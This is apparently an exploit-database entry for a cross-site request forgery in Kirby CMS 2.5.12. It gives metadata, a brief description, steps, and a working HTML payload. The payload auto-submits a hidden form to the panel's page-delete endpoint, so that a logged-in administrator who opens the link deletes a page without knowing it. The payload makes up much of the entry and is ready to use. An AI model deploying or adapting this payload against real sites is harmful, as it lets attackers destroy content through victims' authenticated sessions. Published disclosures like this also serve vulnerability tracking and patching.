Kirby CMS 2.5.12 - Cross-Site Request Forgery (Delete Page)

Author: Zaran Shaikh
type: webapps
platform: linux
port: 
date_added: 2018-07-26 
date_updated: 2018-08-09 
verified: 0 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url:

# Exploit Title: Kirby CMS 2.5.12 - Cross-Site Request Forgery (Delete Page)
# Date: 2018-07-22
# Exploit Author: Zaran Shaikh
# Version: 2.5.12
# CVE: NA
# Category: Web Application

# 1. Description
# The application allows malicious HTTP requests to be sent in order to
# trick a user into adding/ deleting web pages.

# 2. Proof of Concept

1. Visit the application
2. Go to add page option
3. Create a crafted HTTP page with delete/ add option and host it on
a server. Upon sending the link to a user and upon click, it gets triggered
and the page is added/deleted
4. Payload:
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/kirby/panel/pages/csrf-test-page/delete">
      <input type="hidden" name="&#95;redirect" value="site&#47;subpages" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>